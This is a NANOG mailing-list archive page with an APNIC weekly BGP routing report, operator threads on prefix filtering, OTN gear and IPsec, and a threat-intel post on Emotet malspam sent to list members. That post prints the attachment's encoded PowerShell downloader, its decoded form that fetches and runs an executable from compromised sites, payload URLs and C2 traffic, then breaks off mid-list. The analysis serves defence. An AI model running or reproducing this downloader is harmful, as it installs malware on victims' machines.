- NANOG - lists.nanog.org

Weekly Routing Table Report
by cscora＠apnic.net 31 May '19

31 May '19

This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. The posting is sent to APOPS, NANOG, AfNOG, SANOG, PacNOG, SAFNOG TZNOG, MENOG, BJNOG, SDNOG, CMNOG, LACNOG and the RIPE Routing WG. Daily listings are sent to bgp-stats(a)lists.apnic.net For historical data, please see http://thyme.rand.apnic.net. If you have any comments please contact Philip Smith <pfsinoz(a)gmail.com>. Routing Table Report 04:00 +10GMT Sat 01 Jun, 2019 Report Website: http://thyme.rand.apnic.net Detailed Analysis: http://thyme.rand.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 757484 Prefixes after maximum aggregation (per Origin AS): 290744 Deaggregation factor: 2.61 Unique aggregates announced (without unneeded subnets): 361416 Total ASes present in the Internet Routing Table: 64395 Prefixes per ASN: 11.76 Origin-only ASes present in the Internet Routing Table: 55392 Origin ASes announcing only one prefix: 23824 Transit ASes present in the Internet Routing Table: 9003 Transit-only ASes present in the Internet Routing Table: 277 Average AS path length visible in the Internet Routing Table: 4.4 Max AS path length visible: 34 Max AS path prepend of ASN (206156) 26 Prefixes from unregistered ASNs in the Routing Table: 26 Number of instances of unregistered ASNs: 29 Number of 32-bit ASNs allocated by the RIRs: 27191 Number of 32-bit ASNs visible in the Routing Table: 22216 Prefixes from 32-bit ASNs in the Routing Table: 99727 Number of bogon 32-bit ASNs visible in the Routing Table: 21 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 256 Number of addresses announced to Internet: 2845014656 Equivalent to 169 /8s, 147 /16s and 122 /24s Percentage of available address space announced: 76.8 Percentage of allocated address space announced: 76.8 Percentage of available address space allocated: 100.0 Percentage of address space in use by end-sites: 99.3 Total number of prefixes smaller than registry allocations: 253034 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 204745 Total APNIC prefixes after maximum aggregation: 60806 APNIC Deaggregation factor: 3.37 Prefixes being announced from the APNIC address blocks: 200889 Unique aggregates announced from the APNIC address blocks: 82494 APNIC Region origin ASes present in the Internet Routing Table: 9777 APNIC Prefixes per ASN: 20.55 APNIC Region origin ASes announcing only one prefix: 2710 APNIC Region transit ASes present in the Internet Routing Table: 1458 Average APNIC Region AS path length visible: 4.6 Max APNIC Region AS path length visible: 26 Number of APNIC region 32-bit ASNs visible in the Routing Table: 4784 Number of APNIC addresses announced to Internet: 772744832 Equivalent to 46 /8s, 15 /16s and 38 /24s APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079, 55296-56319, 58368-59391, 63488-64098, 64297-64395, 131072-139577 APNIC Address Blocks 1/8, 14/8, 27/8, 36/8, 39/8, 42/8, 43/8, 49/8, 58/8, 59/8, 60/8, 61/8, 101/8, 103/8, 106/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 150/8, 153/8, 163/8, 171/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, 223/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 225546 Total ARIN prefixes after maximum aggregation: 105128 ARIN Deaggregation factor: 2.15 Prefixes being announced from the ARIN address blocks: 224578 Unique aggregates announced from the ARIN address blocks: 105785 ARIN Region origin ASes present in the Internet Routing Table: 18488 ARIN Prefixes per ASN: 12.15 ARIN Region origin ASes announcing only one prefix: 6857 ARIN Region transit ASes present in the Internet Routing Table: 1902 Average ARIN Region AS path length visible: 3.9 Max ARIN Region AS path length visible: 24 Number of ARIN region 32-bit ASNs visible in the Routing Table: 2721 Number of ARIN addresses announced to Internet: 1073736832 Equivalent to 63 /8s, 255 /16s and 236 /24s ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 62464-63487, 64198-64296, 393216-399260 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 23/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 47/8, 48/8, 50/8, 52/8, 53/8, 54/8, 55/8, 56/8, 57/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 100/8, 104/8, 107/8, 108/8, 128/8, 129/8, 130/8, 131/8, 132/8, 134/8, 135/8, 136/8, 137/8, 138/8, 139/8, 140/8, 142/8, 143/8, 144/8, 146/8, 147/8, 148/8, 149/8, 152/8, 155/8, 156/8, 157/8, 158/8, 159/8, 160/8, 161/8, 162/8, 164/8, 165/8, 166/8, 167/8, 168/8, 169/8, 170/8, 172/8, 173/8, 174/8, 184/8, 192/8, 198/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 208432 Total RIPE prefixes after maximum aggregation: 98589 RIPE Deaggregation factor: 2.11 Prefixes being announced from the RIPE address blocks: 204635 Unique aggregates announced from the RIPE address blocks: 120973 RIPE Region origin ASes present in the Internet Routing Table: 26115 RIPE Prefixes per ASN: 7.84 RIPE Region origin ASes announcing only one prefix: 11588 RIPE Region transit ASes present in the Internet Routing Table: 3729 Average RIPE Region AS path length visible: 4.6 Max RIPE Region AS path length visible: 34 Number of RIPE region 32-bit ASNs visible in the Routing Table: 8158 Number of RIPE addresses announced to Internet: 719362176 Equivalent to 42 /8s, 224 /16s and 152 /24s RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 56320-58367 59392-61439, 61952-62463, 64396-64495 196608-210331 RIPE Address Blocks 2/8, 5/8, 25/8, 31/8, 37/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 141/8, 145/8, 151/8, 176/8, 178/8, 185/8, 188/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 97168 Total LACNIC prefixes after maximum aggregation: 21875 LACNIC Deaggregation factor: 4.44 Prefixes being announced from the LACNIC address blocks: 98593 Unique aggregates announced from the LACNIC address blocks: 42737 LACNIC Region origin ASes present in the Internet Routing Table: 8431 LACNIC Prefixes per ASN: 11.69 LACNIC Region origin ASes announcing only one prefix: 2224 LACNIC Region transit ASes present in the Internet Routing Table: 1541 Average LACNIC Region AS path length visible: 5.1 Max LACNIC Region AS path length visible: 27 Number of LACNIC region 32-bit ASNs visible in the Routing Table: 5988 Number of LACNIC addresses announced to Internet: 173838080 Equivalent to 10 /8s, 92 /16s and 143 /24s LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 61440-61951, 64099-64197, 262144-270748 + ERX transfers LACNIC Address Blocks 177/8, 179/8, 181/8, 186/8, 187/8, 189/8, 190/8, 191/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 21566 Total AfriNIC prefixes after maximum aggregation: 4324 AfriNIC Deaggregation factor: 4.99 Prefixes being announced from the AfriNIC address blocks: 28533 Unique aggregates announced from the AfriNIC address blocks: 9201 AfriNIC Region origin ASes present in the Internet Routing Table: 1288 AfriNIC Prefixes per ASN: 22.15 AfriNIC Region origin ASes announcing only one prefix: 445 AfriNIC Region transit ASes present in the Internet Routing Table: 247 Average AfriNIC Region AS path length visible: 5.0 Max AfriNIC Region AS path length visible: 23 Number of AfriNIC region 32-bit ASNs visible in the Routing Table: 565 Number of AfriNIC addresses announced to Internet: 105079552 Equivalent to 6 /8s, 67 /16s and 99 /24s AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 45/8, 102/8, 105/8, 154/8, 196/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7545 4754 549 543 TPG-INTERNET-AP TPG Telecom Limited, AU 7552 3164 1451 31 VIETEL-AS-AP Viettel Group, VN 45899 3029 1741 112 VNPT-AS-VN VNPT Corp, VN 9808 2830 9043 62 CMNET-GD Guangdong Mobile Communication 9829 2736 1496 552 BSNL-NIB National Internet Backbone, IN 4766 2530 11119 760 KIXS-AS-KR Korea Telecom, KR 4755 2140 428 182 TATACOMM-AS TATA Communications formerl 9394 2100 4882 26 CTTNET China TieTong Telecommunications 9498 2058 427 171 BBIL-AP BHARTI Airtel Ltd., IN 23969 1765 314 16 TOT-NET TOT Public Company Limited, TH Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3645 238 610 CABLEONE - CABLE ONE, INC., US 6327 3618 1324 89 SHAW - Shaw Communications Inc., CA 22773 3405 2974 155 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2811 6141 1224 AMAZON-02 - Amazon.com, Inc., US 16625 2498 1368 1877 AKAMAI-AS - Akamai Technologies, Inc., 30036 2159 347 201 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2151 2760 526 CHARTER-20115 - Charter Communications, 18566 2100 405 108 MEGAPATH5-US - MegaPath Corporation, US 5650 2086 3074 1462 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5442 1629 141 UNI2-AS, ES 39891 3778 203 20 ALJAWWALSTC-AS, SA 8551 3216 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2658 511 1918 AKAMAI-ASN1, US 12389 2243 2225 633 ROSTELECOM-AS, RU 34984 2100 346 548 TELLCOM-AS, TR 9121 1666 1692 18 TTNET, TR 13188 1601 100 47 TRIOLAN, UA 9009 1485 157 804 M247, GB 61317 1300 136 376 ASDETUK http://www.heficed.com, GB Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5798 3369 569 Uninet S.A. de C.V., MX 10620 3438 536 403 Telmex Colombia S.A., CO 11830 2711 384 35 Instituto Costarricense de Electricidad 7303 1483 1024 255 Telecom Argentina S.A., AR 28573 1395 2239 200 CLARO S.A., BR 6503 1253 441 54 Axtel, S.A.B. de C.V., MX 6147 1105 377 30 Telefonica del Peru S.A.A., PE 3816 1097 532 141 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 13999 993 514 242 Mega Cable, S.A. de C.V., MX 11172 933 144 62 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1167 393 21 LINKdotNET-AS, EG 37611 964 107 9 Afrihost, ZA 24835 888 624 21 RAYA-AS, EG 36992 859 1536 69 ETISALAT-MISR, EG 36903 827 416 126 MT-MPLS, MA 8452 669 1731 19 TE-AS TE-AS, EG 29571 512 68 11 ORANGE-COTE-IVOIRE, CI 37492 474 470 57 ORANGE-, TN 15706 421 32 6 Sudatel, SD 37342 414 32 1 MOVITEL, MZ Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 5798 3369 569 Uninet S.A. de C.V., MX 12479 5442 1629 141 UNI2-AS, ES 7545 4754 549 543 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 203 20 ALJAWWALSTC-AS, SA 11492 3645 238 610 CABLEONE - CABLE ONE, INC., US 6327 3618 1324 89 SHAW - Shaw Communications Inc., CA 10620 3438 536 403 Telmex Colombia S.A., CO 22773 3405 2974 155 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 8551 3216 378 45 BEZEQ-INTERNATIONAL-AS Bezeqint Interne Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5442 5301 UNI2-AS, ES 7545 4754 4211 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 4039 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 3778 3758 ALJAWWALSTC-AS, SA 6327 3618 3529 SHAW - Shaw Communications Inc., CA 22773 3405 3250 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 3216 3171 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 7552 3164 3133 VIETEL-AS-AP Viettel Group, VN 11492 3645 3035 CABLEONE - CABLE ONE, INC., US 10620 3438 3035 Telmex Colombia S.A., CO Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 267804 UNALLOCATED 45.172.108.0/22 52361 ARSAT - Empresa Argentina de S 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 130974 UNALLOCATED 103.139.78.0/24 139074 TDL-AS-AP TECHNOLOGY DIRECTION 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 65551 DOCUMENT 149.165.246.0/24 19782 INDIANAGIGAPOP - Indiana Unive 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 23.135.144.0/24 14102 GTVR - Transvision Reseau Inc., CA 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ 41.220.48.0/20 36900 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:12 /9:11 /10:37 /11:100 /12:294 /13:570 /14:1132 /15:1915 /16:13325 /17:8031 /18:13987 /19:25882 /20:40372 /21:47382 /22:94374 /23:76779 /24:432362 /25:919 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4398 5442 UNI2-AS, ES 6327 3408 3618 SHAW - Shaw Communications Inc., CA 7155 3156 4064 VIASAT-SP-BACKBONE - ViaSat,Inc., US 39891 2946 3778 ALJAWWALSTC-AS, SA 11492 2856 3645 CABLEONE - CABLE ONE, INC., US 8551 2670 3216 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 22773 2642 3405 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 11830 2055 2711 Instituto Costarricense de Electricidad y Telec 18566 1995 2100 MEGAPATH5-US - MegaPath Corporation, US 30036 1910 2159 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1699 2:1029 3:6 4:21 5:3143 6:47 7:1 8:1318 9:1 12:1801 13:345 14:2024 15:34 16:5 17:265 18:66 20:52 23:2719 24:2524 25:4 27:2452 31:2001 32:100 35:36 36:861 37:3028 38:1753 39:296 40:122 41:3262 42:834 43:2025 44:152 45:8132 46:3297 47:260 49:1366 50:1114 51:330 52:1013 54:281 55:704 56:6 57:45 58:1767 59:1063 60:513 61:2196 62:2156 63:1837 64:4983 65:2204 66:4837 67:2765 68:1163 69:3544 70:1366 71:637 72:2621 74:2740 75:1288 76:560 77:1824 78:1839 79:2419 80:1808 81:1497 82:1132 83:923 84:1136 85:2261 86:543 87:1564 88:1045 89:2653 90:219 91:6579 92:1416 93:2454 94:2463 95:3293 96:948 97:345 98:959 99:761 100:86 101:1165 102:624 103:21271 104:3550 105:259 106:778 107:1766 108:695 109:3636 110:1700 111:2046 112:1511 113:1372 114:1233 115:1715 116:1755 117:1925 118:2164 119:1627 120:1047 121:1043 122:2288 123:1745 124:1479 125:2013 128:1337 129:834 130:532 131:1818 132:809 133:222 134:1098 135:244 136:579 137:755 138:2055 139:882 140:644 141:882 142:810 143:1051 144:899 145:494 146:1272 147:839 148:1687 149:961 150:797 151:1019 152:1073 153:331 154:3398 155:917 156:1679 157:1003 158:662 159:1955 160:1603 161:940 162:2970 163:829 164:1200 165:1606 166:448 167:1412 168:3312 169:878 170:4125 171:574 172:1666 173:2230 174:1046 175:967 176:2346 177:4253 178:2541 179:1420 180:2127 181:2425 182:2699 183:1084 184:2255 185:15159 186:3684 187:2499 188:3000 189:2001 190:8227 191:1534 192:10071 193:6667 194:5437 195:4143 196:3132 197:1808 198:5941 199:5997 200:7100 201:5084 202:10450 203:10215 204:4543 205:3061 206:3243 207:3265 208:3954 209:4273 210:3931 211:2016 212:3079 213:2955 214:1116 215:55 216:5926 217:2231 218:878 219:604 220:1877 221:974 222:979 223:1371 End of report

1 0

Re: BGP prefix filter list
by John Kristoff 31 May '19

31 May '19

On Mon, 20 May 2019 23:09:02 +0000 Seth Mattinen <sethm(a)rollernet.us> wrote: > A good start would be killing any /24 announcement where a covering > aggregate exists. I wouldn't do this as a general rule. If an attacker knows networks are 1) not pointing default, 2) dropping /24's, 3) not validating the aggregates, and 4) no actual legitimate aggregate exists, (all reasonable assumptions so far for many /24's), then they have a pretty good opportunity to capture that traffic. John

17 31

Flexible OTN / fractional 100GbE
by Jérôme Nicolle 31 May '19

31 May '19

Hi NaNOG ! I'm looking for a muxponder that would take OTU4s on the network side and provide 10/40/100GbE on the client side, with some kind of oversubscription, as to provide a "fractional 100GbE" e.g. starting with 30-60Gbps commit that could be upgraded to 100GbE when network capacity is available. Is that something feasible at a decent price ? I've read that Broadcom' StrataDNX (Qumran / Jericho) chips have OTN support in addition to ethernet now, is there some vendor who leverages this, preferably with OCP gear ? Thanks ! -- Jérôme Nicolle +33 6 19 31 27 14

7 15

Re: BGP prefix filter list
by Scott Weeks 31 May '19

31 May '19

--- valdis.kletnieks(a)vt.edu wrote: From: "Valdis Klētnieks" <valdis.kletnieks(a)vt.edu> On Thu, 30 May 2019 16:07:53 -0700, "Scott Weeks" said: > Having been on quite a few networks in my career, > (eyeball/enterprise) I'd say many struggle with > having a "single and clearly defined routing policy" Which part do they find problematic, the "single" part, or the "clearly defined" part? ;) ---------------------------------------------- Both. Two guys have authority over different parts of a network. They don't agree and neither budges. The manager is not technical (at all) and is hands off on decisions like those. I see fights like this in configs all the time. You look at the configs and go WTF, but after learning what happened in the past between those two folks I go; "Ok, NOW I get it." And for 'clearly defined'...well...to put it politely 'clearly defined' is subjective. ;) I'm OCD about KISS, documentation and consistency, but many folks are not. They want it their way, regardless of what is already there, and they like to turn knobs and not let others know what knobs they turned. You wouldn't believe what we see out here on the raggedy edges of the internet. I started my career in the 90s with a company called Digital Island. There were extremely competent folks building it. Every thing was KISS and consistent. It was a beautiful DFZ network. I miss that. 2001 was the last time I saw it. Been on the ragged edge ever since. scott

1 0

Re: BGP prefix filter list
by Scott Weeks 31 May '19

31 May '19

--- bellman(a)nsc.liu.se wrote: From: Thomas Bellman <bellman(a)nsc.liu.se> ... prefixes with a "single and clearly defined routing policy" ------------------------------------------ Having been on quite a few networks in my career, (eyeball/enterprise) I'd say many struggle with having a "single and clearly defined routing policy" >;-) <=== evil grin scott

2 1

Paging voip.ms management
by Eric Kuhnke 30 May '19

30 May '19

After attempting several times, and failing to get something resembling a real RFO from your first tier customer support/ticket answering staff, I am now looking for a person in a position of responsibility at voip.ms. Please contact me off list.

1 0

BGP prefix filter list
by Baldur Norddahl 30 May '19

30 May '19

Hello This morning we apparently had a problem with our routers not handling the full table. So I am looking into culling the least useful prefixes from our tables. I can hardly be the first one to take on that kind of project, and I am wondering if there is a ready made prefix list or similar? Or maybe we have a list of worst offenders? I am looking for ASN that announces a lot of unnecessary /24 prefixes and which happens to be far away from us? I would filter those to something like /20 and then just have a default route to catch all. Thanks, Baldur

31 57

Mexico
by Mehmet Akcin 30 May '19

30 May '19

Hi there I am looking for dark fibre in several markets in México and waves from mexico city to LA and Dallas. If you know someone in wholesale who can help, please contact me offlist Thank you. Mehmet -- Mehmet +1-424-298-1903

2 1

VPN / IPSEC Management
by Chris Knipe 30 May '19

30 May '19

Hi Guys, Quick question... In orgs using frequent and large amounts of IPSec, what are you guys using in terms of configuration management / documentation? Especially in terms of Phase 2 and documenting what the relevant Phase 2s are for? Is it a matter of text files / spreadsheets, or are there something out there to manage this with? -- Regards, Chris Knipe

2 1

29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members]
by Paul Ferguson 30 May '19

30 May '19

*Just an FYI, the obfuscated URLs and IPs below are malicious.* This is apparently (?) part of a wave of spoofed malspams impersonating messages with ‘weaponized' attachments sent to the NANOG (North American Network Operators Group) mailing list. Background: https://mailman.nanog.org/pipermail/nanog/2019-May/101140.html Details: Date: Wed, 29 May 2019 10:03:04 -0500 From: "NANOG" <Helene.Rouleau(a)paral.ca> To: "Paul Ferguson" <fergdawgster(a)mykolab.com> Subject: Mykolab Ref Id: I32560 X-Authenticated-Sender: s214.panelboxmanager.com Return-Path: <Helene.Rouleau(a)paral.ca> Attachment: "ATTACHMENT 654860 I32560.doc" MD5: 49fbc31d5e46d83c4741d64a1c268e8d SHA-1: 62b00133e2a78063b76a473a9c0b42a00b3042b8 SHA256: 8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5 File Type: MS Word Document Magic CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: North Dakota, Subject: Maine, Author: Darrell Hammes, Comments: Tunisia policy, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue May 28 12:55:00 2019, Last Saved Time/Date: Tue May 28 12:55:00 2019, Number of Pages: 1, Number of Words: 15, Number of Characters: 90, Security: 0 SSDeep: 3072:t1b77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qSp8ALPmiuVvbIF/j9G5:Pb77HUUUUUUUUUUUUUUUUUUUT52VP61Z TRiD: Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%) File Size: 136.38 KB Analysis: VT: https://www.virustotal.com/#/file/8c401ced381ce742105acae9b3d39d2f01681d4e3… HA: https://www.hybrid-analysis.com/sample/8c401ced381ce742105acae9b3d39d2f0168… Joe Sandbox: https://www.joesandbox.com/analysis/136644/0/executive app.anny.run: https://app.any.run/tasks/18d747ef-42d6-40e8-b496-6eb54c5f5dac Embedded Powershell script does: WINWORD.EXE /n "C:\ATTACHMENT654860I32560.doc" (PID: 3256) powershell.exe powershell -nop -e JABDAGwASQBFAFkAawAyAD0AJwBhAEoATgBNAEsARgAzAGwAJwA7ACQAUgB3AFkASwBDAHYATwAgAD0AIAAnADkAMwA2ACcAOwAkAFEAQgBWAGEAZAA5AD0AJwBMADgASABEAHoATgAnADsAJAB3AFgAcABiAFYAcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUgB3AFkASwBDAHYATwArACcALgBlAHgAZQAnADsAJABHAEEAaQB6AHoANwA9ACcARABPAEkAbwBTAFQAJwA7ACQAVABiADkARQB1ADIASQByAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdABgAC4AVwBlAEIAQwBgAEwAYABJAEUATgB0ADsAJABrAHUAVwBfAG8ANwBTADUAPQAnAGgAdAB0AHAAOgAvAC8AYwBlAG8ALgBjAGEAbABjAHUAcwAuAGMAbwBtAC8AcABvAHMAdABuAGUAdwBvAC8AUgB3AGgAdgBPAGwAWgBJAHMALwBAAGgAdAB0AHAAOgAvAC8AbABhAHMAdABtAGkAbgB1AHQAZQBsAG8AbABsAGkAcABvAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGEARQBRAGwAcABwAGQAbABmAG8ALwBAAGgAdAB0AHAAOgAvAC8AawBhAHMAaABtAGkAcgBoAGEAYwBrAGUAcgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AFEAWABoAG8AcgB0AFMAZgBKAC8AQABoAHQAdABwADoALwAvAG8AbQBlAGcAYQBjAG8AbgBzAHUAbAB0AG8AcgBpAGEAYwBvAG4AdABhAGIAaQBsAC4AYwBvAG0ALgBiAHIALwBzAGkAdABlAC8AdwBBAEsAawBiAE8ARQB3AHkALwBAAGgAdAB0AHAAOgAvAC8AbgBvAHQAdABzAHAAYwByAGUAcABhAGkAcgAuAGMAbwAuAHUAawAvAG4AeQBlAC8AaABLAFoAbABEAHYAUABmAHkALwAnAC4AUwBQAEwAaQBUACgAJwBAACcAKQA7ACQAbwA3AFYAQgBRAHQAbABiAD0AJwBPADEAWQBHAGIAMABwACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6ADMAUgB2ADMAagB2ACAAaQBuACAAJABrAHUAVwBfAG8ANwBTADUAKQB7AHQAcgB5AHsAJABUAGIAOQBFAHUAMgBJAHIALgBEAG8AdwBOAEwATwBhAGQARgBJAEwARQAoACQAegAzAFIAdgAzAGoAdgAsACAAJAB3AFgAcABiAFYAcAApADsAJABpAFkAcABPAFkAYwBMAFYAPQAnAFgAMAA2AGoAUwBSADIANAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHcAWABwAGIAVgBwACkALgBsAEUAbgBnAFQASAAgAC0AZwBlACAAMgA5ADcAOAAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAQQBSAFQAKAAkAHcAWABwAGIAVgBwACkAOwAkAFYASABUAE8AbwB1AHcAPQAnAEkAXwBXAGsAMgBiAEgAcgAnADsAYgByAGUAYQBrADsAJABFAFgAWABtAEIAbQBYAD0AJwByAGsARgBLAEMAVAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAEEAdQB0AGEAWQA9ACcAWQBuAFYAcQAzAEoASgAnAA== (PID: 2624,Additional Context: $ClIEYk2='aJNMKF3l';$RwYKCvO = '936';$QBVad9='L8HDzN';$wXpbVp=$env:userprofile+'\'+$RwYKCvO+'.exe';$GAizz7='DOIoST';$Tb9Eu2Ir=.('new-'+'obj'+'ect') Net`.WeBC`L`IENt;$kuW_o7S5='http://ceo.calcus[.]com/postnewo/RwhvOlZIs/@http://lastminutelollipop[.]com…'.SPLiT('@');$o7VBQtlb='O1YGb0p';foreach($z3Rv3jv in $kuW_o7S5){try{$Tb9Eu2Ir.DowNLOadFILE($z3Rv3jv, $wXpbVp);$iYpOYcLV='X06jSR24';If ((&('Get-'+'Ite'+'m') $wXpbVp).lEngTH -ge 29780) {[Diagnostics.Process]::START($wXpbVp);$VHTOouw='I_Wk2bHr';break;$EXXmBmX='rkFKCT'}}catch{}}$SAutaY='YnVq3JJ') 936.exe (PID: 2888) 24/72 936.exe --26d066e0 (PID: 2932) 24/72 enablerouting.exe (PID: 272) 'Payload quintet' from script above (compromised pages): http://ceo.calcus[.]com/postnewo/RwhvOlZIs/ http://lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ http://kashmirhackers[.]com/wp-admin/wQXhortSfJ/ http://omegaconsultoriacontabil[.]com.br/site/wAKkbOEwy/ http://nottspcrepair[.]co.uk/nye/hKZlDvPfy/' Observed network activity: GET ceo.calcus[.]com/postnewo/RwhvOlZIs/ GET lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ POST 31.12.67[.]62:7080/acquire/tlb/ringin/ Non-authoritative answer: Name: ceo.calcus[.]com Address: 68.183.65[.]234 Non-authoritative answer: Name: lastminutelollipop[.]com Address: 158.69.127[.]22 Non-authoritative answer: Name: kashmirhackers[.]com Address: 173.249.2[.]31 Non-authoritative answer: Name: omegaconsultoriacontabil[.]com.br Address: 